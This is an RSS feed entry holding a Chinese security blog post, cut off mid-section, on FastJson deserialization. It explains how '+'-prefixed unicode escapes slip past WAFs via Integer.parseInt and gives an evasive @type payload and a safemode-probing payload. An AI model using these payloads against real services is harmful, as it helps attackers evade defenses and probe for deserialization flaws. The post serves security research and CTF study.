<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>RainSec</title>
    <link>https://wechat2rss.xlab.app/feed/086e8d1d0035fb4418b3c2608f7166353e0628dc.xml</link>
    <description>致力于云原生安全和自动化渗透测试的研究与分享&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (RainSec)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM490OoXtCBU7dLHuRRicd5KGqtN5uibCqh4eicMUA7puEHbg/0</url>
      <title>RainSec</title>
      <link>https://wechat2rss.xlab.app/feed/086e8d1d0035fb4418b3c2608f7166353e0628dc.xml</link>
    </image>
    <item>
      <title>炒冷饭之FastJson</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247486066&amp;idx=1&amp;sn=25021413b4ca3be4037ea3819ff12bdc</link>
      <description>FastJson炒一炒冷饭</description>
      <content:encoded><![CDATA[<p>
原创 <span>米老鼠</span> <span>2025-03-19 13:48</span> <span style="display: inline-block;">北京</span>
</p>

<p>FastJson炒一炒冷饭</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3a5d6f39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkYMJLZfRpF2nt8Fhqk5n225w3ibNFANyM9nNQHBGlCPqPyEKWhv3fAUycOwXLsMI8xBncAWIJic9mCQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002133" data-ratio="0.32" data-s="300,640" type="block" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=33786dee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkb1yDnVcgIlvd3KG3vX76egiaDfKT3XbKmjGJjIa3foicznOnreTcvrRwtccfNAZ4I8TuibyIuNnkiatQ%2F640%3Fwx_fmt%3Dpng"/></section><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">（</span><del style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">终于想起来了账号密码</span></del><span leaf="">）</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(183, 110, 121);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">unicode 绕waf</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">  笔者在24年做一道ctf fastjson题的时候，碰巧发现了这个特性，当时题目限制字符</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\x \0</span></code><span leaf="">，于是笔者尝试跟了一下fastjson解析unicode</span><span leaf=""><br/></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">com.alibaba.fastjson.parser.JSONLexerBase#scanString</span></code></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">case</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#39;u&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">char</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">u1</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">=</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 166, 87);"><span leaf="">this</span></span><span leaf="">.next();</span><span leaf=""><br/></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">char</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">u2</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">=</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 166, 87);"><span leaf="">this</span></span><span leaf="">.next();</span><span leaf=""><br/></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">char</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">u3</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">=</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 166, 87);"><span leaf="">this</span></span><span leaf="">.next();</span><span leaf=""><br/></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">char</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">u4</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">=</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 166, 87);"><span leaf="">this</span></span><span leaf="">.next();</span><span leaf=""><br/></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">int</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">val</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">=</span></span><span leaf=""> Integer.parseInt(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">new</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">String</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">new</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">char</span></span><span leaf="">[]{u1, u2, u3, u4}), </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">16</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 166, 87);"><span leaf="">this</span></span><span leaf="">.putChar((</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">char</span></span><span leaf="">)val);</span><span leaf=""><br/></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">continue</span></span><span leaf="">;</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">  这里使用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Integer.parseInt</span></code><span leaf="">把</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\u</span></code><span leaf="">后的四个字符转为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">int</span></code><span leaf="">类型，在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">parseInt</span></code><span leaf="">方法中对字符串的第一个字符有特殊的处理，若字符串的第一个字符小于 &#39;0&#39;，则可能是 &#39;+&#39; 或者 &#39;-&#39;，关键点在于第一个字符是 &#39;+&#39; 时，则将索引 i 加 1，跳过该字符，同时不对转换结果造成影响.</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">if</span></span><span leaf=""> (len &gt; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">char</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">firstChar</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">=</span></span><span leaf=""> s.charAt(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">if</span></span><span leaf=""> (firstChar &lt; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#39;0&#39;</span></span><span leaf="">) { </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);"><span leaf="">// Possible leading &#34;+&#34; or &#34;-&#34;</span></span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">if</span></span><span leaf=""> (firstChar == </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#39;-&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">                    negative = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">                    limit = Integer.MIN_VALUE;</span><span leaf=""><br/></span><span leaf="">                } </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">else</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">if</span></span><span leaf=""> (firstChar != </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#39;+&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">throw</span></span><span leaf=""> NumberFormatException.forInputString(s);</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">if</span></span><span leaf=""> (len == </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">1</span></span><span leaf="">) </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);"><span leaf="">// Cannot have lone &#34;+&#34; or &#34;-&#34;</span></span><span leaf=""><br/></span><span leaf="">                    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">throw</span></span><span leaf=""> NumberFormatException.forInputString(s);</span><span leaf=""><br/></span><span leaf="">                i++;</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">            ...... </span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这样我们就可以构造payload</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{&#34;\u+040\u+074\u+079\u+070\u+065&#34;:&#34;java.lang.AutoCloseabl\u+065&#34;</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">  这样的畸形unicode可以绕过几乎目前市面上大部分waf，另外我们可以注意到在第一个字符是 &#39;-&#39;时虽然也会跳过字符，但是在后续的代码中返回值是一个负数，如果我们有五个字符那么可以构造</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\u-ffbf</span></code><span leaf="">（转成int 是65，字符串为A），但是fastjson限制了读取4个字符，我们没办法构造出想要的字符串。</span></p><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(183, 110, 121);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">safemode 判断</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">开启safemode时payload报错</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{&#34;zero&#34;:{&#34;@type&#34;:&#34;java.lang.String&#34;&#34;&#34;}}}</span></code></pre><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(183, 110, 121);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">1.2.83 版本判断</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, 